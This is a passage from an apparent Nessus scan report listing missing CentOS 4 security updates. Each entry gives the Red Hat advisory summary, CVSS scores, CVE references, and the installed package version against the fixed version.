* multiple, missing initialization flaws were found in the Linux kernel. Padding data in several core network structures was not initialized properly before being sent to user-space. These flaws could lead to information leaks. (CVE-2005-4881, CVE-2009-3228, Moderate)

This update also fixes the following bugs :

* a packet duplication issue was fixed via the RHSA-2008:0665 update;

however, the fix introduced a problem for systems using network bonding: Backup slaves were unable to receive ARP packets. When using network bonding in the 'active-backup' mode and with the 'arp_validate=3' option, the bonding driver considered such backup slaves as being down (since they were not receiving ARP packets), preventing successful failover to these devices. (BZ#519384)

* due to insufficient memory barriers in the network code, a process sleeping in select() may have missed notifications about new data. In rare cases, this bug may have caused a process to sleep forever.

(BZ#519386)

* the driver version number in the ata_piix driver was not changed between Red Hat Enterprise Linux 4.7 and Red Hat Enterprise Linux 4.8, even though changes had been made between these releases. This could have prevented the driver from loading on systems that check driver versions, as this driver appeared older than it was. (BZ#519389)

* a bug in nlm_lookup_host() could have led to un-reclaimed locks on file systems, resulting in the umount command failing. This bug could have also prevented NFS services from being relocated correctly in clustered environments. (BZ#519656)

* the data buffer ethtool_get_strings() allocated, for the igb driver, was smaller than the amount of data that was copied in igb_get_strings(), because of a miscalculation in IGB_QUEUE_STATS_LEN, resulting in memory corruption. This bug could have led to a kernel panic. (BZ#522738)

* in some situations, write operations to a TTY device were blocked even when the O_NONBLOCK flag was used. A reported case of this issue occurred when a single TTY device was opened by two users (one using blocking mode, and the other using non-blocking mode). (BZ#523930)

* a deadlock was found in the cciss driver. In rare cases, this caused an NMI lockup during boot. Messages such as 'cciss: controller cciss[x] failed, stopping.' and 'cciss[x]: controller not responding.'

may have been displayed on the console. (BZ#525725)

* on 64-bit PowerPC systems, a rollover bug in the ibmveth driver could have caused a kernel panic. In a reported case, this panic occurred on a system with a large uptime and under heavy network load.

(BZ#527225)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?07e2891f>
<http://www.nessus.org/u?6b4ecd8f>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:C/I:N/A:N)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:U/RL:OF/RC:C)

References

BID	36304
CVE	CVE-2005-4881
CVE	CVE-2009-3228
CVE	CVE-2009-3612
XREF	RHSA:2009:1522
XREF	CWE:200

Plugin Information

Published: 2009/10/27, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
 Should be : kernel-2.6.9-89.0.15.EL

Remote package installed : kernel-devel-2.6.9-55.EL
 Should be : kernel-devel-2.6.9-89.0.15.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
 Should be : kernel-hugemem-devel-2.6.9-89.0.15.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
 Should be : kernel-smp-devel-2.6.9-89.0.15.EL

50790 - CentOS 4 : kernel (CESA-2010:0779)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues and several bugs are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

- * Information leak flaws were found in the Linux kernel Traffic Control Unit implementation. A local attacker could use these flaws to cause the kernel to leak kernel memory to user-space, possibly leading to the disclosure of sensitive information. (CVE-2010-2942, Moderate)

- * A flaw was found in the tcf_act_police_dump() function in the Linux kernel network traffic policing implementation. A data structure in tcf_act_police_dump() was not initialized properly before being copied to user-space. A local, unprivileged user could use this flaw to cause an information leak. (CVE-2010-3477, Moderate)

- * A missing upper bound integer check was found in the sys_io_submit() function in the Linux kernel asynchronous I/O implementation. A local, unprivileged user could use this flaw to cause an information leak.
(CVE-2010-3067, Low)

Red Hat would like to thank Tavis Ormandy for reporting CVE-2010-3067.

This update also fixes the following bugs :

- * When two systems using bonding devices in the adaptive load balancing (ALB) mode communicated with each other, an endless loop of ARP replies started between these two systems due to a faulty MAC address update. With this update, the MAC address update no longer creates unneeded ARP replies. (BZ#629239)

- * When running the Connectathon NFS Testsuite with certain clients and Red Hat Enterprise Linux 4.8 as the server, nfsvers4, lock, and test2 failed the Connectathon test. (BZ#625535)

- * For UDP/UNIX domain sockets, due to insufficient memory barriers in the network code, a process sleeping in select() may have missed notifications about new data. In rare cases, this bug may have caused a process to sleep forever. (BZ#640117)

- * In certain situations, a bug found in either the HTB or TBF network packet schedulers in the Linux kernel could have caused a kernel panic when using Broadcom

network cards with the bnx2 driver. (BZ#624363)

* Previously, allocating fallback cqrs for DASD reserve/release IOCTLs failed because it used the memory pool of the respective device. This update preallocates sufficient memory for a single reserve/release request. (BZ#626828)

* In some situations a bug prevented 'force online' succeeding for a DASD device. (BZ#626827)

* Using the 'fsstress' utility may have caused a kernel panic.
(BZ#633968)

* This update introduces additional stack guard patches. (BZ#632515)

* A bug was found in the way the megaraid_sas driver handled physical disks and management IOCTLs. All physical disks were exported to the disk layer, allowing an oops in megasas_complete_cmd_dpc() when completing the IOCTL command if a timeout occurred. (BZ#631903)

* Previously, a warning message was returned when a large amount of messages was passed through netconsole and a considerable amount of network load was added. With this update, the warning message is no longer displayed. (BZ#637729)

* Executing a large 'dd' command (1 to 5GB) on an iSCSI device with the qla3xxx driver caused a system crash due to the incorrect storing of a private data structure. With this update, the size of the stored data structure is checked and the system crashes no longer occur.
(BZ#624364)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?27a09959>
<http://www.nessus.org/u?f9de2136>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:U/RL:OF/RC:C)

References

BID	42529
BID	43353
CVE	CVE-2010-2942
CVE	CVE-2010-3067
CVE	CVE-2010-3477
XREF	RHSA:2010:0779

Plugin Information

Published: 2010/11/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.31.1.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.31.1.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.31.1.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.31.1.EL
```

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues and two bugs are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having important security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* A heap overflow flaw was found in the Linux kernel's Transparent Inter-Process Communication protocol (TIPC) implementation. A local, unprivileged user could use this flaw to escalate their privileges.
(CVE-2010-3859, Important)

* Missing sanity checks were found in gdth_ioctl_alloc() in the gdth driver in the Linux kernel. A local user with access to '/dev/gdth' on a 64-bit system could use these flaws to cause a denial of service or escalate their privileges. (CVE-2010-4157, Moderate)

* A NULL pointer dereference flaw was found in the Bluetooth HCI UART driver in the Linux kernel. A local, unprivileged user could use this flaw to cause a denial of service. (CVE-2010-4242, Moderate)

* A flaw was found in the Linux kernel's garbage collector for AF_UNIX sockets. A local, unprivileged user could use this flaw to trigger a denial of service (out-of-memory condition). (CVE-2010-4249, Moderate)

* Missing initialization flaws were found in the Linux kernel. A local, unprivileged user could use these flaws to cause information leaks. (CVE-2010-3876, CVE-2010-4072, CVE-2010-4073, CVE-2010-4075, CVE-2010-4080, CVE-2010-4083, CVE-2010-4158, Low)

Red Hat would like to thank Alan Cox for reporting CVE-2010-4242;

Vegard Nossum for reporting CVE-2010-4249; Vasiliy Kulikov for reporting CVE-2010-3876; Kees Cook for reporting CVE-2010-4072; and Dan Rosenberg for reporting CVE-2010-4073, CVE-2010-4075, CVE-2010-4080, CVE-2010-4083, and CVE-2010-4158.

This update also fixes the following bugs :

* A flaw was found in the Linux kernel where, if used in conjunction with another flaw that can result in a kernel Oops, could possibly lead to privilege escalation. It does not affect Red Hat Enterprise Linux 4 as the sysctl panic_on_oops variable is turned on by default. However, as a preventive measure if the variable is turned off by an administrator, this update addresses the issue. Red Hat would like to thank Nelson Elhage for reporting this vulnerability. (BZ#659568)

* On Intel I/O Controller Hub 9 (ICH9) hardware, jumbo frame support is achieved by using page-based sk_buff buffers without any packet split. The entire frame data is copied to the page(s) rather than some to the skb->data area and some to the page(s) when performing a typical packet-split. This caused problems with the filtering code and frames were getting dropped before they were received by listening applications. This bug could eventually lead to the IP address being released and not being able to be re-acquired from DHCP if the MTU (Maximum Transfer Unit) was changed (for an affected interface using the e1000e driver). With this update, frames are no longer dropped and an IP address is correctly re-acquired after a previous release. (BZ#664667)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?e71a804a>
<http://www.nessus.org/u?45a3d452>

Solution

Update the affected kernel packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.9 (CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.4 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	43806
BID	43809

BID	44354
BID	44630
BID	44648
BID	44758
BID	45014
BID	45037
BID	45054
BID	45058
BID	45063
BID	45073
CVE	CVE-2010-3859
CVE	CVE-2010-3876
CVE	CVE-2010-4072
CVE	CVE-2010-4073
CVE	CVE-2010-4075
CVE	CVE-2010-4080
CVE	CVE-2010-4083
CVE	CVE-2010-4157
CVE	CVE-2010-4158
CVE	CVE-2010-4242
CVE	CVE-2010-4249
XREF	RHSA:2011:0162

Plugin Information

Published: 2011/01/28, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.35.1.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.35.1.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.35.1.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.35.1.EL
```

55838 - CentOS 4 : libpng (CESA-2011:1103)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated libpng and libpng10 packages that fix one security issue are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available from the CVE link in the References section.

The libpng packages contain a library of functions for creating and manipulating PNG (Portable Network Graphics) image format files.

An uninitialized memory read issue was found in the way libpng processed certain PNG images that use the Physical Scale (sCAL) extension. An attacker could create a specially crafted PNG image that, when opened, could cause an application using libpng to crash.
(CVE-2011-2692)

Users of libpng and libpng10 should upgrade to these updated packages, which contain a backported patch to correct this issue. All running applications using libpng or libpng10 must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?034b4ad3>
<http://www.nessus.org/u?e599468e>

Solution

Update the affected libpng packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

References

CVE	CVE-2011-2692
XREF	RHSA:2011:1103

Plugin Information

Published: 2011/08/15, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : libpng-1.2.7-1.el4.2
Should be : libpng-1.2.7-8.el4
```

50805 - CentOS 4 : mysql (CESA-2010:0824)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated mysql packages that fix three security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

MySQL is a multi-user, multi-threaded SQL database server. It consists of the MySQL server daemon (mysqld) and many client programs and libraries.

It was found that the MySQL PolyFromWKB() function did not sanity check Well-Known Binary (WKB) data. A remote, authenticated attacker could use specially crafted WKB data to crash mysqld. This issue only caused a temporary denial of service, as mysqld was automatically restarted after the crash. (CVE-2010-3840)

A flaw was found in the way MySQL processed certain alternating READ requests provided by HANDLER statements. A remote, authenticated attacker could use this flaw to provide such requests, causing mysqld to crash. This issue only caused a temporary denial of service, as mysqld was automatically restarted after the crash. (CVE-2010-3681)

A directory traversal flaw was found in the way MySQL handled the parameters of the MySQL COM_FIELD_LIST network protocol command. A remote, authenticated attacker could use this flaw to obtain descriptions of the fields of an arbitrary table using a request with a specially crafted table name. (CVE-2010-1848)

All MySQL users are advised to upgrade to these updated packages, which contain backported patches to correct these issues. After installing this update, the MySQL server daemon (mysqld) will be restarted automatically.

See Also

<http://www.nessus.org/u?9d772b6f>
<http://www.nessus.org/u?d69f58b8>

Solution

Update the affected mysql packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.5 (CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.1 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	40109
CVE	CVE-2010-1848
CVE	CVE-2010-3681
CVE	CVE-2010-3840
XREF	RHSA:2010:0824

Plugin Information

Published: 2010/11/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : mysql-4.1.22-2.el4
Should be : mysql-4.1.22-2.el4_8.4
```

```
Remote package installed : mysql-devel-4.1.22-2.el4
Should be : mysql-devel-4.1.22-2.el4_8.4
```

```
Remote package installed : mysql-server-4.1.22-2.el4
Should be : mysql-server-4.1.22-2.el4_8.4
```

47790 - CentOS 4 : openldap (CESA-2010:0543)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated openldap packages that fix two security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

OpenLDAP is an open source suite of LDAP (Lightweight Directory Access Protocol) applications and development tools.

An uninitialized pointer use flaw was discovered in the way the slapd daemon handled modify relative distinguished name (modrdn) requests.

An authenticated user with privileges to perform modrdn operations could use this flaw to crash the slapd daemon via specially crafted modrdn requests. (CVE-2010-0211)

Red Hat would like to thank CERT-FI for responsibly reporting the CVE-2010-0211 flaw, who credit Ilkka Mattila and Tuomas Salomaki for the discovery of the issue.

A flaw was found in the way OpenLDAP handled NUL characters in the CommonName field of X.509 certificates. An attacker able to get a carefully-crafted certificate signed by a trusted Certificate Authority could trick applications using OpenLDAP libraries into accepting it by mistake, allowing the attacker to perform a man-in-the-middle attack. (CVE-2009-3767)

Users of OpenLDAP should upgrade to these updated packages, which contain backported patches to resolve these issues. After installing this update, the OpenLDAP daemons will be restarted automatically.

See Also

<http://www.nessus.org/u?7f57350f>
<http://www.nessus.org/u?7aadb389>

Solution

Update the affected openldap packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36844
BID	41770
CVE	CVE-2009-3767
CVE	CVE-2010-0211
XREF	RHSA:2010:0543
XREF	CWE:310

Plugin Information

Published: 2010/07/22, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : openldap-2.2.13-7.4E
Should be : openldap-2.2.13-12.el4_8.3

Remote package installed : openldap-clients-2.2.13-7.4E
Should be : openldap-clients-2.2.13-12.el4_8.3

Remote package installed : openldap-devel-2.2.13-7.4E
Should be : openldap-devel-2.2.13-12.el4_8.3
```

57806 - CentOS 4 : openssl (CESA-2012:0086)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated openssl packages that fix two security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

OpenSSL is a toolkit that implements the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols, as well as a full-strength, general purpose cryptography library.

An information leak flaw was found in the SSL 3.0 protocol implementation in OpenSSL. Incorrect initialization of SSL record padding bytes could cause an SSL client or server to send a limited amount of possibly sensitive data to its SSL peer via the encrypted connection. (CVE-2011-4576)

It was discovered that OpenSSL did not limit the number of TLS/SSL handshake restarts required to support Server Gated Cryptography. A remote attacker could use this flaw to make a TLS/SSL server using OpenSSL consume an excessive amount of CPU by continuously restarting the handshake. (CVE-2011-4619)

All OpenSSL users should upgrade to these updated packages, which contain backported patches to resolve these issues. For the update to take effect, all services linked to the OpenSSL library must be restarted, or the system rebooted.

See Also

<http://www.nessus.org/u?c2065098>

Solution

Update the affected openssl packages.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

BID	51281
CVE	CVE-2011-4576
CVE	CVE-2011-4619
XREF	RHSA:2012:0086

Plugin Information

Published: 2012/02/03, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : openssl-0.9.7a-43.16
Should be : openssl-0.9.7a-43.18.el4
```

Remote package installed : openssl-devel-0.9.7a-43.16
Should be : openssl-devel-0.9.7a-43.18.el4

37507 - CentOS 4 : pcre (CESA-2007:0968)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated pcre packages that correct two security flaws are now available for Red Hat Enterprise Linux 4.

This update has been rated as having critical security impact by the Red Hat Security Response Team.

PCRE is a Perl-compatible regular expression library.

Multiple flaws were found in the way pcre handles certain malformed regular expressions. If an application linked against pcre, such as Konqueror, parses a malicious regular expression, it may be possible to run arbitrary code as the user running the application.
(CVE-2007-1660)

Users of pcre are advised to upgrade to these updated packages, which contain backported patches to correct these issues.

Red Hat would like to thank Tavis Ormandy and Will Drewry for properly disclosing these issues.

See Also

<http://www.nessus.org/u?de8a84b1>
<http://www.nessus.org/u?2a989bd3>
<http://www.nessus.org/u?a93d05ee>

Solution

Update the affected pcre packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

References

CVE	CVE-2007-1660
XREF	RHSA:2007:0968
XREF	CWE:119

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : pcre-4.5-3.2.RHEL4
Should be : pcre-4.5-4.el4_5.1

37163 - CentOS 4 : pcre (CESA-2007:1052)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated pcre packages that correct security issues are now available for Red Hat Enterprise Linux 4 and 5.

This update has been rated as having important security impact by the Red Hat Security Response Team.

[Updated 15 November 2007] Further analysis of these flaws in PCRE has led to the single CVE identifier CVE-2006-7224 being split into three separate identifiers and a re-analysis of the risk of each of the flaws. We are therefore updating the text of this advisory to use the correct CVE names for the two flaws fixed by these

erratum packages, and downgrading the security impact of this advisory from critical to important. No changes have been made to the packages themselves.

PCRE is a Perl-compatible regular expression library.

Flaws were found in the way PCRE handles certain malformed regular expressions. If an application linked against PCRE, such as Konqueror, parses a malicious regular expression, it may be possible to run arbitrary code as the user running the application. (CVE-2005-4872, CVE-2006-7227)

Users of PCRE are advised to upgrade to these updated packages, which contain a backported patch to correct these issues.

See Also

<http://www.nessus.org/u?2bdbe91e>
<http://www.nessus.org/u?5c6aa607>
<http://www.nessus.org/u?c55d6f4a>

Solution

Update the affected pcre packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26462
CVE	CVE-2005-4872
CVE	CVE-2006-7227
XREF	RHSA:2007:1052
XREF	CWE:119
XREF	CWE:189

Plugin Information

Published: 2009/04/23, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : pcre-4.5-3.2.RHEL4
Should be : pcre-4.5-4.el4_5.4
```

67087 - CentOS 4 : php (CESA-2012:0071)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated php packages that fix several security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

PHP is an HTML-embedded scripting language commonly used with the Apache HTTP Server.

It was found that the hashing routine used by PHP arrays was susceptible to predictable hash collisions. If an HTTP POST request to a PHP application contained many parameters whose names map to the same hash value, a large amount of CPU time would be consumed. This flaw has been mitigated by adding a new configuration directive, `max_input_vars`, that limits the maximum number of parameters processed per request. By default, `max_input_vars` is set to 1000. (CVE-2011-4885)

An integer overflow flaw was found in the PHP exif extension. On 32-bit systems, a specially crafted image file could cause the PHP interpreter to crash or disclose portions of its memory when a PHP script tries to extract Exchangeable image file format (Exif) metadata from the image file. (CVE-2011-4566)

An insufficient input validation flaw, leading to a buffer over-read, was found in the PHP exif extension. A specially crafted image file could cause the PHP interpreter to crash when a PHP script tries to extract Exchangeable image file format (Exif) metadata from the image file. (CVE-2011-0708)

An integer overflow flaw was found in the PHP calendar extension. A remote attacker able to make a PHP script call SdnToJulian() with a large value could cause the PHP interpreter to crash. (CVE-2011-1466)

An off-by-one flaw was found in PHP. If an attacker uploaded a file with a specially crafted file name it could cause a PHP script to attempt to write a file to the root (/) directory. By default, PHP runs as the 'apache' user, preventing it from writing to the root directory. (CVE-2011-2202)

Red Hat would like to thank oCERT for reporting CVE-2011-4885. oCERT acknowledges Julian Walde and Alexander Klink as the original reporters of CVE-2011-4885.

All php users should upgrade to these updated packages, which contain backported patches to resolve these issues. After installing the updated packages, the httpd daemon must be restarted for the update to take effect.

See Also

<http://www.nessus.org/u?17087c14>

Solution

Update the affected php packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A;P)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:H/RL:OF/RC:C)

References

BID	46365
BID	46967
BID	48259
BID	49241
BID	50907
BID	51193
CVE	CVE-2011-0708
CVE	CVE-2011-1466
CVE	CVE-2011-2202
CVE	CVE-2011-4566
CVE	CVE-2011-4885
XREF	RHSA:2012:0071

Exploitable With

Core Impact (true)

Plugin Information

Published: 2013/06/29, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : php-4.3.9-3.26
Should be : php-4.3.9-3.35
```

```
Remote package installed : php-ldap-4.3.9-3.26
Should be : php-ldap-4.3.9-3.35
```

```
Remote package installed : php-mysql-4.3.9-3.26
Should be : php-mysql-4.3.9-3.35
```

```
Remote package installed : php-pear-4.3.9-3.26
Should be : php-pear-4.3.9-3.35
```

53814 - CentOS 4 : python (CESA-2011:0491)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated python packages that fix multiple security issues are now available for Red Hat Enterprise Linux 4.

The Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.

Python is an interpreted, interactive, object-oriented programming language.

A flaw was found in the Python urllib and urllib2 libraries where they would not differentiate between different target URLs when handling automatic redirects. This caused Python applications using these modules to follow any new URL that they understood, including the 'file://' URL type. This could allow a remote server to force a local Python application to read a local file instead of the remote one, possibly exposing local files that were not meant to be exposed. (CVE-2011-1521)

Multiple flaws were found in the Python audioop module. Supplying certain inputs could cause the audioop module to crash or, possibly, execute arbitrary code. (CVE-2010-1634, CVE-2010-2089)

A race condition was found in the way the Python smtpd module handled new connections. A remote user could use this flaw to cause a Python script using the smtpd module to terminate. (CVE-2010-3493)

An information disclosure flaw was found in the way the Python CGIHTTPServer module processed certain HTTP GET requests. A remote attacker could use a specially crafted request to obtain the CGI script's source code. (CVE-2011-1015)

A buffer over-read flaw was found in the way the Python Expat parser handled malformed UTF-8 sequences when processing XML files. A specially crafted XML file could cause Python applications using the Python Expat parser to crash while parsing the file. (CVE-2009-3720)

This update makes Python use the system Expat library rather than its own internal copy; therefore, users must have the version of Expat shipped with RHSA-2009:1625 installed, or a later version, to resolve the CVE-2009-3720 issue.

All Python users should upgrade to these updated packages, which contain backported patches to correct these issues.

See Also

<http://www.nessus.org/u?2f668285>
<http://www.nessus.org/u?44c69a2a>

Solution

Update the affected python packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	36097
BID	40370
BID	40863
BID	44533
BID	46541
BID	47024
CVE	CVE-2009-3720
CVE	CVE-2010-1634
CVE	CVE-2010-2089
CVE	CVE-2010-3493
CVE	CVE-2011-1015
CVE	CVE-2011-1521
XREF	RHSA:2011:0491

Plugin Information

Published: 2011/05/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : python-2.3.4-14.4
Should be : python-2.3.4-14.10.e14
```

Remote package installed : python-devel-2.3.4-14.4
Should be : python-devel-2.3.4-14.10.e14

44962 - CentOS 4 : systemtap (CESA-2010:0125)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated systemtap packages that fix a security issue are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

SystemTap is an instrumentation system for systems running the Linux kernel, version 2.6. Developers can write scripts to collect data on the operation of the system.

A buffer overflow flaw was found in SystemTap's tapset `_get_argv()` function. If a privileged user ran a SystemTap script that called this function, a local, unprivileged user could, while that script is still running, trigger this flaw and cause memory corruption by running a command with a large argument list, which may lead to a system crash or, potentially, arbitrary code execution with root privileges.

(CVE-2010-0411)

Note: SystemTap scripts that call `_get_argv()`, being a privileged function, can only be executed by the root user or users in the `stapdev` group. As well, if such a script was compiled and installed by root, users in the `stapusr` group would also be able to execute it.

SystemTap users should upgrade to these updated packages, which contain a backported patch to correct this issue.

See Also

<http://www.nessus.org/u?af816a24>
<http://www.nessus.org/u?26acfe43>

Solution

Update the affected systemtap packages.

Risk Factor

Medium

CVSS v2.0 Base Score

4.9 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:C)

References

CVE	CVE-2010-0411
XREF	RHSA:2010:0125
XREF	CWE:189

Plugin Information

Published: 2010/03/03, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : systemtap-0.5.12-1
Should be : systemtap-0.6.2-2.e14_8.1

Remote package installed : systemtap-runtime-0.5.12-1
Should be : systemtap-runtime-0.6.2-2.e14_8.1

31140 - CentOS 4 : tk (CESA-2008:0135)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated tk packages that fix a security issue are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

[Updated 22 February 2008] The packages in this errata were originally pushed to the wrong Red Hat Network channels and were not available to all users. We have updated this errata with the correct channels.

Tk is a graphical toolkit for the Tcl scripting language.

An input validation flaw was discovered in Tk's GIF image handling. A code-size value read from a GIF image was not properly validated before being used, leading to a buffer overflow. A specially crafted GIF file could use this to cause a crash or, potentially, execute code with the privileges of the application using the Tk graphical toolkit.

(CVE-2008-0553)

A buffer overflow flaw was discovered in Tk's animated GIF image handling. An animated GIF containing an initial image smaller than subsequent images could cause a crash or, potentially, execute code with the privileges of the application using the Tk library.

(CVE-2007-5378)

All users are advised to upgrade to these updated packages which contain a backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?9afe7ef0>
<http://www.nessus.org/u?6b082882>
<http://www.nessus.org/u?3ba15b6e>

Solution

Update the affected tk packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:ND/RL:OF/RC:C)

References

BID	27655
CVE	CVE-2007-5378
CVE	CVE-2008-0553
XREF	RHSA:2008:0135
XREF	CWE:119

Plugin Information

Published: 2008/02/25, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : tk-8.4.7-2
Should be : tk-8.4.7-3.el4_6.1
```

25712 - CentOS 4 : xorg-x11 (CESA-2007:0519)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated X.org packages that correct a flaw in the way the X.Org X11 xfs font server starts are now available for Red Hat Enterprise Linux 4.

This update has been rated as having moderate security impact by the Red Hat Security Response Team.

X.org is an open source implementation of the X Window System. It provides the basic low-level functionality that full-fledged graphical user interfaces are designed upon.

A temporary file flaw was found in the way the X.Org X11 xfs font server startup script executes. A local user could modify the permissions of the file of their choosing, possibly elevating their local privileges (CVE-2007-3103).

Users of X.org should upgrade to these updated packages, which contain a backported patch and are not vulnerable to these issues.

See Also

<http://www.nessus.org/u?0c10e57e>
<http://www.nessus.org/u?c8c01bb0>
<http://www.nessus.org/u?89211c6e>

Solution

Update the affected xorg-x11 packages.

Risk Factor

Medium

CVSS v2.0 Base Score

6.2 (CVSS2#AV:L/AC:H/Au:N/C:C/I:C/A:C)

References

CVE	CVE-2007-3103
XREF	RHSA:2007:0519
XREF	CWE:59

Plugin Information

Published: 2007/07/18, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : xorg-x11-Mesa-libGL-6.8.2-1.EL.18
Should be : xorg-x11-Mesa-libGL-6.8.2-1.EL.19
```

```
Remote package installed : xorg-x11-font-utils-6.8.2-1.EL.18
